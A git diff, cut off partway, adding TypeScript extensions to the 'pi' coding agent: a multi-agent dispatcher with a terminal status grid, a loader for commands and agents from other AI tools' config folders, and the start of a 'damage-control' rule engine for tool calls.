+} + +// ── Extension ──────────────────────────────────── + +export default function (pi: ExtensionAPI) { + const agentStates: Map = new Map(); + const activeProcesses: Set = new Set(); + let allAgentDefs: AgentDef[] = []; + let teams: Record = {}; + let activeTeamName = ""; + let gridCols = 2; + let widgetCtx: any; + let sessionDir = ""; + let contextWindow = 0; + + // ── Throttled Widget Update ────────────────── + + let widgetDirty = false; + let widgetTimer: ReturnType | null = null; + + function scheduleWidgetUpdate() { + widgetDirty = true; + if (widgetTimer) return; // already scheduled + widgetTimer = setTimeout(() => { + widgetTimer = null; + if (widgetDirty) { + widgetDirty = false; + doUpdateWidget(); + } + }, WIDGET_THROTTLE_MS); + } + + function flushWidgetUpdate() { + if (widgetTimer) { + clearTimeout(widgetTimer); + widgetTimer = null; + } + widgetDirty = false; + doUpdateWidget(); + } + + function loadAgents(cwd: string) { + sessionDir = join(cwd, ".pi", "agent-sessions"); + if (!existsSync(sessionDir)) { + mkdirSync(sessionDir, { recursive: true }); + } + + allAgentDefs = scanAgentDirs(cwd); + + const teamsPath = join(cwd, ".pi", "agents", "teams.yaml"); + if (existsSync(teamsPath)) { + try { + teams = parseTeamsYaml(readFileSync(teamsPath, "utf-8")); + } catch { + teams = {}; + } + } else { + teams = {}; + } + + if (Object.keys(teams).length === 0) { + teams = { all: allAgentDefs.map(d => d.name) }; + } + } + + function activateTeam(teamName: string) { + activeTeamName = teamName; + const members = teams[teamName] || []; + const defsByName = new Map(allAgentDefs.map(d => [d.name.toLowerCase(), d])); + + agentStates.clear(); + for (const member of members) { + const def = defsByName.get(member.toLowerCase()); + if (!def) continue; + const key = def.name.toLowerCase().replace(/\s+/g, "-"); + const sessionFile = join(sessionDir, `${key}.json`); + agentStates.set(def.name.toLowerCase(), { + def, + status: "idle", + task: "", + toolCount: 0, + elapsed: 0, + lastWork: "", + contextPct: 0, + sessionFile: existsSync(sessionFile) ? sessionFile : null, + runCount: 0, + }); + } + + const size = agentStates.size; + gridCols = size <= 3 ? size : size === 4 ? 2 : 3; + } + + // ── Kill all tracked child processes ───────── + + function killAllAgents() { + for (const proc of activeProcesses) { + try { proc.kill("SIGTERM"); } catch {} + } + // Force kill after 3s + setTimeout(() => { + for (const proc of activeProcesses) { + try { proc.kill("SIGKILL"); } catch {} + } + }, 3000); + } + + // ── Grid Rendering ─────────────────────────── + + function renderCard(state: AgentState, colWidth: number, theme: any): string[] { + const w = colWidth - 2; + const truncate = (s: string, max: number) => s.length > max ? s.slice(0, max - 3) + "..." : s; + + const statusColor = state.status === "idle" ? "dim" + : state.status === "running" ? "accent" + : state.status === "done" ? "success" : "error"; + const statusIcon = state.status === "idle" ? "○" + : state.status === "running" ? "●" + : state.status === "done" ? "✓" : "✗"; + + const name = displayName(state.def.name); + const nameStr = theme.fg("accent", theme.bold(truncate(name, w))); + const nameVisible = Math.min(name.length, w); + + const statusStr = `${statusIcon} ${state.status}`; + const timeStr = state.status !== "idle" ? ` ${Math.round(state.elapsed / 1000)}s` : ""; + const statusLine = theme.fg(statusColor, statusStr + timeStr); + const statusVisible = statusStr.length + timeStr.length; + + const filled = Math.ceil(state.contextPct / 20); + const bar = "#".repeat(filled) + "-".repeat(5 - filled); + const ctxStr = `[${bar}] ${Math.ceil(state.contextPct)}%`; + const ctxLine = theme.fg("dim", ctxStr); + const ctxVisible = ctxStr.length; + + const workRaw = state.task + ? (state.lastWork || state.task) + : state.def.description; + const workText = truncate(workRaw, Math.min(50, w - 1)); + const workLine = theme.fg("muted", workText); + const workVisible = workText.length; + + const top = "┌" + "─".repeat(w) + "┐"; + const bot = "└" + "─".repeat(w) + "┘"; + const border = (content: string, visLen: number) => + theme.fg("dim", "│") + content + " ".repeat(Math.max(0, w - visLen)) + theme.fg("dim", "│"); + + return [ + theme.fg("dim", top), + border(" " + nameStr, 1 + nameVisible), + border(" " + statusLine, 1 + statusVisible), + border(" " + ctxLine, 1 + ctxVisible), + border(" " + workLine, 1 + workVisible), + theme.fg("dim", bot), + ]; + } + + function doUpdateWidget() { + if (!widgetCtx) return; + + widgetCtx.ui.setWidget("agent-team", (_tui: any, theme: any) => { + const text = new Text("", 0, 1); + + return { + render(width: number): string[] { + if (agentStates.size === 0) { + text.setText(theme.fg("dim", "No agents found. Add .md files to agents/")); + return text.render(width); + } + + const cols = Math.min(gridCols, agentStates.size); + const gap = 1; + const colWidth = Math.floor((width - gap * (cols - 1)) / cols); + const agents = Array.from(agentStates.values()); + const rows: string[][] = []; + + for (let i = 0; i < agents.length; i += cols) { + const rowAgents = agents.slice(i, i + cols); + const cards = rowAgents.map(a => renderCard(a, colWidth, theme)); + + while (cards.length < cols) { + cards.push(Array(6).fill(" ".repeat(colWidth))); + } + + const cardHeight = cards[0].length; + for (let line = 0; line < cardHeight; line++) { + rows.push(cards.map(card => card[line] || "")); + } + } + + const output = rows.map(cols => cols.join(" ".repeat(gap))); + text.setText(output.join("\n")); + return text.render(width); + }, + invalidate() { + text.invalidate(); + }, + }; + }); + } + + // ── Dispatch Agent (returns Promise) ───────── + + function dispatchAgent( + agentName: string, + task: string, + ctx: any, + signal?: AbortSignal, + ): Promise<{ output: string; exitCode: number; elapsed: number }> { + const key = agentName.toLowerCase(); + const state = agentStates.get(key); + if (!state) { + return Promise.resolve({ + output: `Agent "${agentName}" not found. Available: ${Array.from(agentStates.values()).map(s => displayName(s.def.name)).join(", ")}`, + exitCode: 1, + elapsed: 0, + }); + } + + if (state.status === "running") { + return Promise.resolve({ + output: `Agent "${displayName(state.def.name)}" is already running. Wait for it to finish.`, + exitCode: 1, + elapsed: 0, + }); + } + + // Reset state for new run + state.status = "running"; + state.task = task; + state.toolCount = 0; + state.elapsed = 0; + state.lastWork = ""; + state.contextPct = 0; + state.runCount++; + scheduleWidgetUpdate(); + + const startTime = Date.now(); + state.timer = setInterval(() => { + state.elapsed = Date.now() - startTime; + scheduleWidgetUpdate(); + }, 1000); + + const model = ctx.model + ? `${ctx.model.provider}/${ctx.model.id}` + : "openrouter/google/gemini-3-flash-preview"; + + const agentKey = state.def.name.toLowerCase().replace(/\s+/g, "-"); + const agentSessionFile = join(sessionDir, `${agentKey}.json`); + + const args = [ + "--mode", "json", + "-p", + "--no-extensions", + "--model", model, + "--tools", state.def.tools, + "--thinking", "off", + "--append-system-prompt", state.def.systemPrompt, + "--session", agentSessionFile, + ]; + + if (state.sessionFile) { + args.push("-c"); + } + + args.push(task); + + const textChunks: string[] = []; + let resolved = false; + + return new Promise((promiseResolve) => { + // Guard against double-resolve + const safeResolve = (val: { output: string; exitCode: number; elapsed: number }) => { + if (resolved) return; + resolved = true; + promiseResolve(val); + }; + + const proc = spawn("pi", args, { + stdio: ["ignore", "pipe", "pipe"], + env: { ...process.env }, + }); + + state.proc = proc; + activeProcesses.add(proc); + + // ── Timeout guard ── + const timeout = setTimeout(() => { + try { proc.kill("SIGTERM"); } catch {} + // Force kill after 3s if still alive + setTimeout(() => { try { proc.kill("SIGKILL"); } catch {} }, 3000); + }, AGENT_TIMEOUT_MS); + + // ── AbortSignal support ── + const onAbort = () => { + try { proc.kill("SIGTERM"); } catch {} + setTimeout(() => { try { proc.kill("SIGKILL"); } catch {} }, 3000); + }; + if (signal) { + if (signal.aborted) { + onAbort(); + } else { + signal.addEventListener("abort", onAbort, { once: true }); + } + } + + let buffer = ""; + + proc.stdout!.setEncoding("utf-8"); + proc.stdout!.on("data", (chunk: string) => { + buffer += chunk; + const lines = buffer.split("\n"); + buffer = lines.pop() || ""; + for (const line of lines) { + if (!line.trim()) continue; + try { + const event = JSON.parse(line); + if (event.type === "message_update") { + const delta = event.assistantMessageEvent; + if (delta?.type === "text_delta") { + textChunks.push(delta.delta || ""); + const full = textChunks.join(""); + const last = full.split("\n").filter((l: string) => l.trim()).pop() || ""; + state.lastWork = last; + scheduleWidgetUpdate(); + } + } else if (event.type === "tool_execution_start") { + state.toolCount++; + scheduleWidgetUpdate(); + } else if (event.type === "message_end") { + const msg = event.message; + if (msg?.usage && contextWindow > 0) { + state.contextPct = ((msg.usage.input || 0) / contextWindow) * 100; + scheduleWidgetUpdate(); + } + } else if (event.type === "agent_end") { + const msgs = event.messages || []; + const last = [...msgs].reverse().find((m: any) => m.role === "assistant"); + if (last?.usage && contextWindow > 0) { + state.contextPct = ((last.usage.input || 0) / contextWindow) * 100; + scheduleWidgetUpdate(); + } + } + } catch {} + } + }); + + proc.stderr!.setEncoding("utf-8"); + proc.stderr!.on("data", () => {}); + + proc.on("close", (code) => { + clearTimeout(timeout); + if (signal) signal.removeEventListener?.("abort", onAbort); + activeProcesses.delete(proc); + state.proc = undefined; + + // Process any remaining buffer + if (buffer.trim()) { + try { + const event = JSON.parse(buffer); + if (event.type === "message_update") { + const delta = event.assistantMessageEvent; + if (delta?.type === "text_delta") textChunks.push(delta.delta || ""); + } + } catch {} + } + + clearInterval(state.timer); + state.elapsed = Date.now() - startTime; + + const timedOut = state.elapsed >= AGENT_TIMEOUT_MS; + state.status = timedOut ? "error" : (code === 0 ? "done" : "error"); + + if (code === 0) { + state.sessionFile = agentSessionFile; + } + + const full = textChunks.join(""); + state.lastWork = full.split("\n").filter((l: string) => l.trim()).pop() || ""; + flushWidgetUpdate(); + + const statusMsg = timedOut + ? `${displayName(state.def.name)} timed out after ${Math.round(AGENT_TIMEOUT_MS / 1000)}s` + : `${displayName(state.def.name)} ${state.status} in ${Math.round(state.elapsed / 1000)}s`; + + ctx.ui.notify(statusMsg, state.status === "done" ? "success" : "error"); + + const output = timedOut + ? full + "\n\n[TIMED OUT after " + Math.round(AGENT_TIMEOUT_MS / 1000) + "s]" + : full; + + safeResolve({ + output, + exitCode: code ?? 1, + elapsed: state.elapsed, + }); + }); + + proc.on("error", (err) => { + clearTimeout(timeout); + if (signal) signal.removeEventListener?.("abort", onAbort); + activeProcesses.delete(proc); + state.proc = undefined; + clearInterval(state.timer); + state.status = "error"; + state.lastWork = `Error: ${err.message}`; + flushWidgetUpdate(); + safeResolve({ + output: `Error spawning agent: ${err.message}`, + exitCode: 1, + elapsed: Date.now() - startTime, + }); + }); + }); + } + + // ── dispatch_agent Tool (single) ───────────── + + pi.registerTool({ + name: "dispatch_agent", + label: "Dispatch Agent", + description: "Dispatch a task to a single specialist agent. The agent executes the task and returns the result. For dispatching multiple agents in parallel, use dispatch_agents instead.", + parameters: Type.Object({ + agent: Type.String({ description: "Agent name (case-insensitive)" }), + task: Type.String({ description: "Task description for the agent to execute" }), + }), + + async execute(_toolCallId, params, signal, onUpdate, ctx) { + const { agent, task } = params as { agent: string; task: string }; + + try { + if (onUpdate) { + onUpdate({ + content: [{ type: "text", text: `Dispatching to ${agent}...` }], + details: { agent, task, status: "dispatching" }, + }); + } + + const result = await dispatchAgent(agent, task, ctx, signal); + + const truncated = result.output.length > 8000 + ? result.output.slice(0, 8000) + "\n\n... [truncated]" + : result.output; + + const status = result.exitCode === 0 ? "done" : "error"; + const summary = `[${agent}] ${status} in ${Math.round(result.elapsed / 1000)}s`; + + return { + content: [{ type: "text", text: `${summary}\n\n${truncated}` }], + details: { + agent, + task, + status, + elapsed: result.elapsed, + exitCode: result.exitCode, + fullOutput: result.output, + }, + }; + } catch (err: any) { + return { + content: [{ type: "text", text: `Error dispatching to ${agent}: ${err?.message || err}` }], + details: { agent, task, status: "error", elapsed: 0, exitCode: 1, fullOutput: "" }, + }; + } + }, + + renderCall(args, theme) { + const agentName = (args as any).agent || "?"; + const task = (args as any).task || ""; + const preview = task.length > 60 ? task.slice(0, 57) + "..." : task; + return new Text( + theme.fg("toolTitle", theme.bold("dispatch_agent ")) + + theme.fg("accent", agentName) + + theme.fg("dim", " — ") + + theme.fg("muted", preview), + 0, 0, + ); + }, + + renderResult(result, options, theme) { + const details = result.details as any; + if (!details) { + const text = result.content[0]; + return new Text(text?.type === "text" ? text.text : "", 0, 0); + } + + if (options.isPartial || details.status === "dispatching") { + return new Text( + theme.fg("accent", `● ${details.agent || "?"}`) + + theme.fg("dim", " working..."), + 0, 0, + ); + } + + const icon = details.status === "done" ? "✓" : "✗"; + const color = details.status === "done" ? "success" : "error"; + const elapsed = typeof details.elapsed === "number" ? Math.round(details.elapsed / 1000) : 0; + const header = theme.fg(color, `${icon} ${details.agent}`) + + theme.fg("dim", ` ${elapsed}s`); + + if (options.expanded && details.fullOutput) { + const output = details.fullOutput.length > 4000 + ? details.fullOutput.slice(0, 4000) + "\n... [truncated]" + : details.fullOutput; + return new Text(header + "\n" + theme.fg("muted", output), 0, 0); + } + + return new Text(header, 0, 0); + }, + }); + + // ── dispatch_agents Tool (parallel batch) ──── + + pi.registerTool({ + name: "dispatch_agents", + label: "Dispatch Agents (Parallel)", + description: "Dispatch tasks to multiple specialist agents in parallel. All agents run simultaneously and results are returned together. Much faster than sequential dispatch_agent calls when tasks are independent.", + parameters: Type.Object({ + dispatches: Type.Array( + Type.Object({ + agent: Type.String({ description: "Agent name (case-insensitive)" }), + task: Type.String({ description: "Task description for the agent" }), + }), + { description: "Array of {agent, task} pairs to dispatch in parallel", minItems: 1 }, + ), + }), + + async execute(_toolCallId, params, signal, onUpdate, ctx) { + const { dispatches } = params as { dispatches: { agent: string; task: string }[] }; + + const agentNames = dispatches.map(d => d.agent).join(", "); + if (onUpdate) { + onUpdate({ + content: [{ type: "text", text: `Dispatching ${dispatches.length} agents in parallel: ${agentNames}` }], + details: { dispatches, status: "dispatching", count: dispatches.length }, + }); + } + + // Launch all in parallel + const promises = dispatches.map(({ agent, task }) => + dispatchAgent(agent, task, ctx, signal).then(result => ({ + agent, + task, + ...result, + })) + ); + + const results = await Promise.all(promises); + + const summaryParts: string[] = []; + const allDetails: any[] = []; + + for (const r of results) { + const status = r.exitCode === 0 ? "done" : "error"; + const truncated = r.output.length > 4000 + ? r.output.slice(0, 4000) + "\n... [truncated]" + : r.output; + summaryParts.push(`## [${r.agent}] ${status} in ${Math.round(r.elapsed / 1000)}s\n\n${truncated}`); + allDetails.push({ + agent: r.agent, + task: r.task, + status, + elapsed: r.elapsed, + exitCode: r.exitCode, + fullOutput: r.output, + }); + } + + const doneCount = results.filter(r => r.exitCode === 0).length; + const header = `Parallel dispatch complete: ${doneCount}/${results.length} succeeded`; + + return { + content: [{ type: "text", text: `${header}\n\n${summaryParts.join("\n\n---\n\n")}` }], + details: { + dispatches: allDetails, + status: "complete", + count: results.length, + succeeded: doneCount, + }, + }; + }, + + renderCall(args, theme) { + const dispatches = (args as any).dispatches || []; + const names = dispatches.map((d: any) => d.agent || "?").join(", "); + return new Text( + theme.fg("toolTitle", theme.bold("dispatch_agents ")) + + theme.fg("accent", `[${dispatches.length}] `) + + theme.fg("muted", names), + 0, 0, + ); + }, + + renderResult(result, options, theme) { + const details = result.details as any; + if (!details) { + const text = result.content[0]; + return new Text(text?.type === "text" ? text.text : "", 0, 0); + } + + if (options.isPartial || details.status === "dispatching") { + return new Text( + theme.fg("accent", `● Parallel dispatch`) + + theme.fg("dim", ` ${details.count || "?"} agents working...`), + 0, 0, + ); + } + + const header = theme.fg("success", `✓ ${details.succeeded}`) + + theme.fg("dim", `/${details.count} agents completed`); + + if (options.expanded && Array.isArray(details.dispatches)) { + const lines = details.dispatches.map((d: any) => { + const icon = d.status === "done" ? "✓" : "✗"; + const color = d.status === "done" ? "success" : "error"; + return theme.fg(color, ` ${icon} ${d.agent}`) + + theme.fg("dim", ` ${Math.round(d.elapsed / 1000)}s`); + }); + return new Text(header + "\n" + lines.join("\n"), 0, 0); + } + + return new Text(header, 0, 0); + }, + }); + + // ── Commands ───────────────────────────────── + + pi.registerCommand("agents-team", { + description: "Select a team to work with", + handler: async (_args, ctx) => { + widgetCtx = ctx; + const teamNames = Object.keys(teams); + if (teamNames.length === 0) { + ctx.ui.notify("No teams defined in .pi/agents/teams.yaml", "warning"); + return; + } + + const options = teamNames.map(name => { + const members = teams[name].map(m => displayName(m)); + return `${name} — ${members.join(", ")}`; + }); + + const choice = await ctx.ui.select("Select Team", options); + if (choice === undefined) return; + + const idx = options.indexOf(choice); + const name = teamNames[idx]; + activateTeam(name); + flushWidgetUpdate(); + ctx.ui.setStatus("agent-team", `Team: ${name} (${agentStates.size})`); + ctx.ui.notify(`Team: ${name} — ${Array.from(agentStates.values()).map(s => displayName(s.def.name)).join(", ")}`, "info"); + }, + }); + + pi.registerCommand("agents-list", { + description: "List all loaded agents", + handler: async (_args, _ctx) => { + widgetCtx = _ctx; + const names = Array.from(agentStates.values()) + .map(s => { + const session = s.sessionFile ? "resumed" : "new"; + return `${displayName(s.def.name)} (${s.status}, ${session}, runs: ${s.runCount}): ${s.def.description}`; + }) + .join("\n"); + _ctx.ui.notify(names || "No agents loaded", "info"); + }, + }); + + pi.registerCommand("agents-grid", { + description: "Set grid columns: /agents-grid <1-6>", + getArgumentCompletions: (prefix: string): AutocompleteItem[] | null => { + const items = ["1", "2", "3", "4", "5", "6"].map(n => ({ + value: n, + label: `${n} columns`, + })); + const filtered = items.filter(i => i.value.startsWith(prefix)); + return filtered.length > 0 ? filtered : items; + }, + handler: async (args, _ctx) => { + widgetCtx = _ctx; + const n = parseInt(args?.trim() || "", 10); + if (n >= 1 && n <= 6) { + gridCols = n; + _ctx.ui.notify(`Grid set to ${gridCols} columns`, "info"); + flushWidgetUpdate(); + } else { + _ctx.ui.notify("Usage: /agents-grid <1-6>", "error"); + } + }, + }); + + // ── System Prompt Override ─────────────────── + + pi.on("before_agent_start", async (_event, _ctx) => { + const agentCatalog = Array.from(agentStates.values()) + .map(s => `### ${displayName(s.def.name)}\n**Dispatch as:** \`${s.def.name}\`\n${s.def.description}\n**Tools:** ${s.def.tools}`) + .join("\n\n"); + + const teamMembers = Array.from(agentStates.values()).map(s => displayName(s.def.name)).join(", "); + + return { + systemPrompt: `You are a dispatcher agent. You coordinate specialist agents to accomplish tasks. +You do NOT have direct access to the codebase. You MUST delegate all work through +agents using the dispatch_agent or dispatch_agents tools. + +## Active Team: ${activeTeamName} +Members: ${teamMembers} +You can ONLY dispatch to agents listed below. Do not attempt to dispatch to agents outside this team. + +## How to Work +- Analyze the user's request and break it into clear sub-tasks +- Choose the right agent(s) for each sub-task +- **Use dispatch_agents for independent parallel tasks** — this is much faster +- Use dispatch_agent for sequential tasks where order matters +- Review results and dispatch follow-up agents if needed +- If a task fails, try a different agent or adjust the task description +- Summarize the outcome for the user + +## Rules +- NEVER try to read, write, or execute code directly — you have no such tools +- ALWAYS use dispatch_agent or dispatch_agents to get work done +- **Prefer dispatch_agents when tasks are independent** — parallelism saves time +- You can chain agents: use scout to explore, then builder to implement +- You can dispatch the same agent multiple times with different tasks +- Keep tasks focused — one clear objective per dispatch +- Each agent has a ${Math.round(AGENT_TIMEOUT_MS / 1000)}s timeout — break large tasks into smaller ones + +## Agents + +${agentCatalog}`, + }; + }); + + // ── Session Start ──────────────────────────── + + pi.on("session_start", async (_event, _ctx) => { + applyExtensionDefaults(import.meta.url, _ctx); + if (widgetCtx) { + widgetCtx.ui.setWidget("agent-team", undefined); + } + widgetCtx = _ctx; + contextWindow = _ctx.model?.contextWindow || 0; + + // Wipe old agent session files so subagents start fresh + const sessDir = join(_ctx.cwd, ".pi", "agent-sessions"); + if (existsSync(sessDir)) { + for (const f of readdirSync(sessDir)) { + if (f.endsWith(".json")) { + try { unlinkSync(join(sessDir, f)); } catch {} + } + } + } + + loadAgents(_ctx.cwd); + + const teamNames = Object.keys(teams); + if (teamNames.length > 0) { + activateTeam(teamNames[0]); + } + + pi.setActiveTools(["dispatch_agent", "dispatch_agents"]); + + _ctx.ui.setStatus("agent-team", `Team: ${activeTeamName} (${agentStates.size})`); + const members = Array.from(agentStates.values()).map(s => displayName(s.def.name)).join(", "); + _ctx.ui.notify( + `Team: ${activeTeamName} (${members})\n` + + `Team sets loaded from: .pi/agents/teams.yaml\n\n` + + `/agents-team Select a team\n` + + `/agents-list List active agents and status\n` + + `/agents-grid <1-6> Set grid column count`, + "info", + ); + flushWidgetUpdate(); + + _ctx.ui.setFooter((_tui, theme, _footerData) => ({ + dispose: () => {}, + invalidate() {}, + render(width: number): string[] { + const model = _ctx.model?.id || "no-model"; + const usage = _ctx.getContextUsage(); + const pct = usage ? usage.percent : 0; + const filled = Math.round(pct / 10); + const bar = "#".repeat(filled) + "-".repeat(10 - filled); + + const running = Array.from(agentStates.values()).filter(s => s.status === "running").length; + const runningStr = running > 0 ? theme.fg("accent", ` ● ${running} running`) : ""; + + const left = theme.fg("dim", ` ${model}`) + + theme.fg("muted", " · ") + + theme.fg("accent", activeTeamName) + + runningStr; + const right = theme.fg("dim", `[${bar}] ${Math.round(pct)}% `); + const pad = " ".repeat(Math.max(1, width - visibleWidth(left) - visibleWidth(right))); + + return [truncateToWidth(left + pad + right, width)]; + }, + })); + }); + + // ── Cleanup on exit ────────────────────────── + + process.on("exit", () => killAllAgents()); + process.on("SIGINT", () => { killAllAgents(); process.exit(0); }); + process.on("SIGTERM", () => { killAllAgents(); process.exit(0); }); +} diff --git a/extensions/cross-agent.ts b/extensions/cross-agent.ts new file mode 100644 index 0000000..a7e17a4 --- /dev/null +++ b/extensions/cross-agent.ts @@ -0,0 +1,265 @@ +/** + * Cross-Agent — Load commands, skills, and agents from other AI coding agents + * + * Scans .claude/, .gemini/, .codex/ directories (project + global) for: + * commands/*.md → registered as /name + * skills/ → listed as /skill:name (discovery only) + * agents/*.md → listed as @name (discovery only) + * + * Usage: pi -e extensions/cross-agent.ts + */ + +import type { ExtensionAPI } from "@mariozechner/pi-coding-agent"; +import { readdirSync, readFileSync, existsSync, statSync } from "node:fs"; +import { join, basename } from "node:path"; +import { homedir } from "node:os"; +import { applyExtensionDefaults } from "./themeMap.ts"; +import { wrapTextWithAnsi, visibleWidth } from "@mariozechner/pi-tui"; + +// --- Synthwave palette --- +function bg(s: string): string { + return `\x1b[48;2;52;20;58m${s}\x1b[49m`; +} +function pink(s: string): string { + return `\x1b[38;2;255;126;219m${s}\x1b[39m`; +} +function cyan(s: string): string { + return `\x1b[38;2;54;249;246m${s}\x1b[39m`; +} +function green(s: string): string { + return `\x1b[38;2;114;241;184m${s}\x1b[39m`; +} +function yellow(s: string): string { + return `\x1b[38;2;254;222;93m${s}\x1b[39m`; +} +function dim(s: string): string { + return `\x1b[38;2;120;100;140m${s}\x1b[39m`; +} +function bold(s: string): string { + return `\x1b[1m${s}\x1b[22m`; +} + +interface Discovered { + name: string; + description: string; + content: string; +} + +interface SourceGroup { + source: string; + commands: Discovered[]; + skills: string[]; + agents: Discovered[]; +} + +function parseFrontmatter(raw: string): { description: string; body: string; fields: Record } { + const match = raw.match(/^---\s*\n([\s\S]*?)\n---\s*\n([\s\S]*)$/); + if (!match) return { description: "", body: raw, fields: {} }; + + const front = match[1]; + const body = match[2]; + const fields: Record = {}; + for (const line of front.split("\n")) { + const idx = line.indexOf(":"); + if (idx > 0) fields[line.slice(0, idx).trim()] = line.slice(idx + 1).trim(); + } + return { description: fields.description || "", body, fields }; +} + +function expandArgs(template: string, args: string): string { + const parts = args.split(/\s+/).filter(Boolean); + let result = template; + result = result.replace(/\$ARGUMENTS|\$@/g, args); + for (let i = 0; i < parts.length; i++) { + result = result.replaceAll(`$${i + 1}`, parts[i]); + } + return result; +} + +function scanCommands(dir: string): Discovered[] { + if (!existsSync(dir)) return []; + const items: Discovered[] = []; + try { + for (const file of readdirSync(dir)) { + if (!file.endsWith(".md")) continue; + const raw = readFileSync(join(dir, file), "utf-8"); + const { description, body } = parseFrontmatter(raw); + items.push({ + name: basename(file, ".md"), + description: description || body.split("\n").find((l) => l.trim())?.trim() || "", + content: body, + }); + } + } catch {} + return items; +} + +function scanSkills(dir: string): string[] { + if (!existsSync(dir)) return []; + const names: string[] = []; + try { + for (const entry of readdirSync(dir)) { + const skillFile = join(dir, entry, "SKILL.md"); + const flatFile = join(dir, entry); + if (existsSync(skillFile) && statSync(skillFile).isFile()) { + names.push(entry); + } else if (entry.endsWith(".md") && statSync(flatFile).isFile()) { + names.push(basename(entry, ".md")); + } + } + } catch {} + return names; +} + +function scanAgents(dir: string): Discovered[] { + if (!existsSync(dir)) return []; + const items: Discovered[] = []; + try { + for (const file of readdirSync(dir)) { + if (!file.endsWith(".md")) continue; + const raw = readFileSync(join(dir, file), "utf-8"); + const { fields } = parseFrontmatter(raw); + items.push({ + name: fields.name || basename(file, ".md"), + description: fields.description || "", + content: raw, + }); + } + } catch {} + return items; +} + +export default function (pi: ExtensionAPI) { + pi.on("session_start", async (_event, ctx) => { + applyExtensionDefaults(import.meta.url, ctx); + const home = homedir(); + const cwd = ctx.cwd; + const providers = ["claude", "gemini", "codex"]; + const groups: SourceGroup[] = []; + + for (const p of providers) { + for (const [dir, label] of [ + [join(cwd, `.${p}`), `.${p}`], + [join(home, `.${p}`), `~/.${p}`], + ] as const) { + const commands = scanCommands(join(dir, "commands")); + const skills = scanSkills(join(dir, "skills")); + const agents = scanAgents(join(dir, "agents")); + + if (commands.length || skills.length || agents.length) { + groups.push({ source: label, commands, skills, agents }); + } + } + } + + // Also scan .pi/agents/ (pi-vs-cc pattern) + const localAgents = scanAgents(join(cwd, ".pi", "agents")); + if (localAgents.length) { + groups.push({ source: ".pi/agents", commands: [], skills: [], agents: localAgents }); + } + + // Register commands + const seenCmds = new Set(); + let totalCommands = 0; + let totalSkills = 0; + let totalAgents = 0; + + for (const g of groups) { + totalSkills += g.skills.length; + totalAgents += g.agents.length; + + for (const cmd of g.commands) { + if (seenCmds.has(cmd.name)) continue; + seenCmds.add(cmd.name); + totalCommands++; + pi.registerCommand(cmd.name, { + description: `[${g.source}] ${cmd.description}`.slice(0, 120), + handler: async (args) => { + pi.sendUserMessage(expandArgs(cmd.content, args || "")); + }, + }); + } + } + + if (groups.length === 0) return; + + // We delay slightly so it doesn't get instantly overwritten by system-select's default startup notify + setTimeout(() => { + if (!ctx.hasUI) return; + // Reduce max width slightly to ensure it never overflows and breaks the next line + const width = Math.min((process.stdout.columns || 80) - 4, 100); + const pad = bg(" ".repeat(width)); + const lines: string[] = []; + + lines.push(""); // space from prev + + for (let i = 0; i < groups.length; i++) { + const g = groups[i]; + + // Title with counts + const counts: string[] = []; + if (g.skills.length) counts.push(yellow("(") + green(`${g.skills.length}`) + dim(` skill${g.skills.length > 1 ? "s" : ""}`) + yellow(")")); + if (g.commands.length) counts.push(yellow("(") + green(`${g.commands.length}`) + dim(` command${g.commands.length > 1 ? "s" : ""}`) + yellow(")")); + if (g.agents.length) counts.push(yellow("(") + green(`${g.agents.length}`) + dim(` agent${g.agents.length > 1 ? "s" : ""}`) + yellow(")")); + const countStr = counts.length ? " " + counts.join(" ") : ""; + lines.push(pink(bold(` ${g.source}`)) + countStr); + + // Build body content + const items: string[] = []; + if (g.commands.length) { + items.push( + yellow("/") + + g.commands.map((c) => cyan(c.name)).join(yellow(", /")) + ); + } + if (g.skills.length) { + items.push( + yellow("/skill:") + + g.skills.map((s) => cyan(s)).join(yellow(", /skill:")) + ); + } + if (g.agents.length) { + items.push( + yellow("@") + + g.agents.map((a) => green(a.name)).join(yellow(", @")) + ); + } + + const body = items.join("\n"); + + // Top padding + lines.push(pad); + + // Wrap body text, cap at 3 rows + const maxRows = 3; + const innerWidth = width - 4; + const wrapped = wrapTextWithAnsi(body, innerWidth); + const totalItems = g.commands.length + g.skills.length + g.agents.length; + const shown = wrapped.slice(0, maxRows); + + for (const wline of shown) { + const vis = visibleWidth(wline); + const fill = Math.max(0, width - vis - 4); + lines.push(bg(" " + wline + " ".repeat(fill) + " ")); + } + + if (wrapped.length > maxRows) { + const overflow = dim(` ... ${totalItems - 15 > 0 ? totalItems - 15 : "more"} more`); + const oVis = visibleWidth(overflow); + const oFill = Math.max(0, width - oVis - 2); + lines.push(bg(overflow + " ".repeat(oFill) + " ")); + } + + // Bottom padding + lines.push(pad); + + // Spacing between groups + if (i < groups.length - 1) lines.push(""); + } + + // We send it as "info" which forces it to be a raw text element in the chat + // without the widget container, but preserving all our ANSI colors! + ctx.ui.notify(lines.join("\n"), "info"); + }, 100); + }); +} diff --git a/extensions/damage-control.ts b/extensions/damage-control.ts new file mode 100644 index 0000000..c34912a --- /dev/null +++ b/extensions/damage-control.ts @@ -0,0 +1,206 @@ +import type { ExtensionAPI, ToolCallEvent } from "@mariozechner/pi-coding-agent"; +import { isToolCallEventType } from "@mariozechner/pi-coding-agent"; +import { parse as yamlParse } from "yaml"; +import * as fs from "fs"; +import * as path from "path"; +import * as os from "os"; +import { applyExtensionDefaults } from "./themeMap.ts"; + +interface Rule { + pattern: string; + reason: string; + ask?: boolean; +} + +interface Rules { + bashToolPatterns: Rule[]; + zeroAccessPaths: string[]; + readOnlyPaths: string[]; + noDeletePaths: string[]; +} + +export default function (pi: ExtensionAPI) { + let rules: Rules = { + bashToolPatterns: [], + zeroAccessPaths: [], + readOnlyPaths: [], + noDeletePaths: [], + }; + + function resolvePath(p: string, cwd: string): string { + if (p.startsWith("~")) { + p = path.join(os.homedir(), p.slice(1)); + } + return path.resolve(cwd, p); + } + + function isPathMatch(targetPath: string, pattern: string, cwd: string): boolean { + // Simple glob-to-regex or substring match + // Expand tilde in pattern if present + const resolvedPattern = pattern.startsWith("~") ? path.join(os.homedir(), pattern.slice(1)) : pattern; + + // If pattern ends with /, it's a directory match + if (resolvedPattern.endsWith("/")) { + const absolutePattern = path.isAbsolute(resolvedPattern) ? resolvedPattern : path.resolve(cwd, resolvedPattern); + return targetPath.startsWith(absolutePattern); + } + + // Handle basic wildcards * + const regexPattern = resolvedPattern + .replace(/[.+^${}()|[\]\\]/g, "\\$&") // escape regex chars + .replace(/\*/g, ".*"); // convert * to .* + + const regex = new RegExp(`^${regexPattern}$|^${regexPattern}/|/${regexPattern}$|/${regexPattern}/`); + + // Match against absolute path and 